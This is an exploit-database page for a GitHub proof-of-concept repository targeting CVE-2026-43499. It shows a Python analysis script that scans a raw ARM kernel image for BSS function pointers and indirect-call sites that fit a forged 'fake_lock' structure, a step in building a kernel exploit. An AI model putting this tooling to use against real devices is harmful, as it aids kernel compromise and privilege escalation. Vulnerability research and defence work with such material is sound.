Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files678
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

analysis/find_call_ptrs.py

Python · 4,869 bytes
import sys
sys.path.insert(0, 'pylibs')
import struct
from capstone import Cs, CS_ARCH_ARM, CS_MODE_ARM

with open('kernel_raw.bin', 'rb') as f:
    data = f.read()
BASE = 0xC0008000
md = Cs(CS_ARCH_ARM, CS_MODE_ARM)

# Search for common kernel function pointers in BSS that are called with no/simple args
# Let's look for BSS locations that are loaded and then called via ldr rN, [rN, #0]
# or blx rN patterns

# First, let's find ALL BSS pointers to code (0xc0008000-0xc1000000)
# and check which ones have the right surrounding fields for fake_lock
bss_start = 0xc1b00000 - BASE
bss_end = min(len(data), 0xc1c00000 - BASE)

print("=== BSS code pointers with fake_lock-compatible context ===")
print("(zero before, zero at +8, <=1 at +0xc)")
results = []
for i in range(bss_start, bss_end - 16, 4):
    w0 = struct.unpack('<I', data[i-4:i])[0]
    ptr = struct.unpack('<I', data[i:i+4])[0]
    w2 = struct.unpack('<I', data[i+4:i+8])[0]
    w3 = struct.unpack('<I', data[i+8:i+12])[0]

    if w0 == 0 and w2 == 0 and w3 <= 1 and 0xc0008000 <= ptr < 0xc1000000:
        results.append((BASE + i, ptr))

print(f"Found {len(results)} direct code pointers")
for addr, ptr in results[:20]:
    print(f"  BSS 0x{addr:08x} -> code 0x{ptr:08x}")

# Now search for BSS pointers to DATA structures where offset 0 is a code pointer
# (i.e., the structure starts with a function pointer)
print("\n=== BSS ptrs to data structures with code ptr at offset 0 ===")
count = 0
for i in range(bss_start, bss_end - 16, 4):
    w0 = struct.unpack('<I', data[i-4:i])[0]
    ptr = struct.unpack('<I', data[i:i+4])[0]
    w2 = struct.unpack('<I', data[i+4:i+8])[0]
    w3 = struct.unpack('<I', data[i+8:i+12])[0]

    if w0 == 0 and w2 == 0 and w3 <= 1 and 0xc1000000 <= ptr < 0xc1b00000:
        if ptr + 4 < BASE + len(data):
            func = struct.unpack('<I', data[ptr-BASE:ptr-BASE+4])[0]
            if 0xc0008000 <= func < 0xc1000000:
                print(f"  BSS 0x{BASE+i:08x} -> data 0x{ptr:08x}, [0]=0x{func:08x}")
                count += 1
                if count > 20:
                    break

# Search for the msm_rpm or device restart function pointers
# Also look for "restart", "power_off", "shutdown" strings
print("\n=== Searching for restart/power_off strings ===")
for s in [b'pm_power_off', b'arm_pm_restart', b'machine_restart',
          b'machine_power_off', b'pm_power_off_prepare',
          b'kernel_restart', b'__machine_boot']:
    idx = data.find(s)
    if idx >= 0:
        print(f"  '{s.decode()}' at 0x{BASE+idx:08x}")

# Search for BSS variables that are called indirectly
# Pattern: ldr rN, [rM, #off]; ... blx rN or ldr rN, [rN]; blx rN
# Let's look for ldr rN, [pc, #off] loading a BSS address, then ldr rN, [rN], then blx rN
print("\n=== BSS function pointers loaded and called ===")
count = 0
for i in range(0, len(data) - 16, 4):
    inst1 = struct.unpack('<I', data[i:i+4])[0]
    # ldr rN, [pc, #off]
    if (inst1 & 0x0f7f0000) == 0x051f0000:
        rn = (inst1 >> 12) & 0xf
        off = inst1 & 0xfff
        lit_addr = BASE + i + 8 + off
        if lit_addr < BASE + len(data) - 4:
            val = struct.unpack('<I', data[lit_addr-BASE:lit_addr-BASE+4])[0]
            if 0xc1b00000 <= val < 0xc1c00000:
                # Check next few instructions for ldr rN, [rN] followed by blx
                for j in range(1, 6):
                    ci = i + j*4
                    if ci + 4 > len(data):
                        break
                    inst2 = struct.unpack('<I', data[ci:ci+4])[0]
                    # ldr rN, [rN] = 0xe59NN000
                    if (inst2 & 0x0ff000f0) == (0x05900000 | (rn << 16) | (rn << 12)):
                        # Check for blx rN in next few instructions
                        for k in range(j+1, j+4):
                            ci2 = i + k*4
                            if ci2 + 4 > len(data):
                                break
                            inst3 = struct.unpack('<I', data[ci2:ci2+4])[0]
                            # blx rN = 0xe12fff3N
                            if inst3 == (0xe12fff30 | rn):
                                # Check what's at the BSS address
                                ptr = struct.unpack('<I', data[val-BASE:val-BASE+4])[0]
                                w0 = struct.unpack('<I', data[val-BASE-4:val-BASE])[0] if val-BASE >= 4 else 0
                                w2 = struct.unpack('<I', data[val-BASE+4:val-BASE+8])[0] if val-BASE+8 < len(data) else 0
                                w3 = struct.unpack('<I', data[val-BASE+8:val-BASE+12])[0] if val-BASE+12 < len(data) else 0
                                print(f"  BSS 0x{val:08x} called from 0x{BASE+i:08x}, ptr=0x{ptr:08x}, ctx=[0x{w0:08x},0x{w2:08x},0x{w3:08x}]")
                                count += 1
                                break
    if count > 20:
        break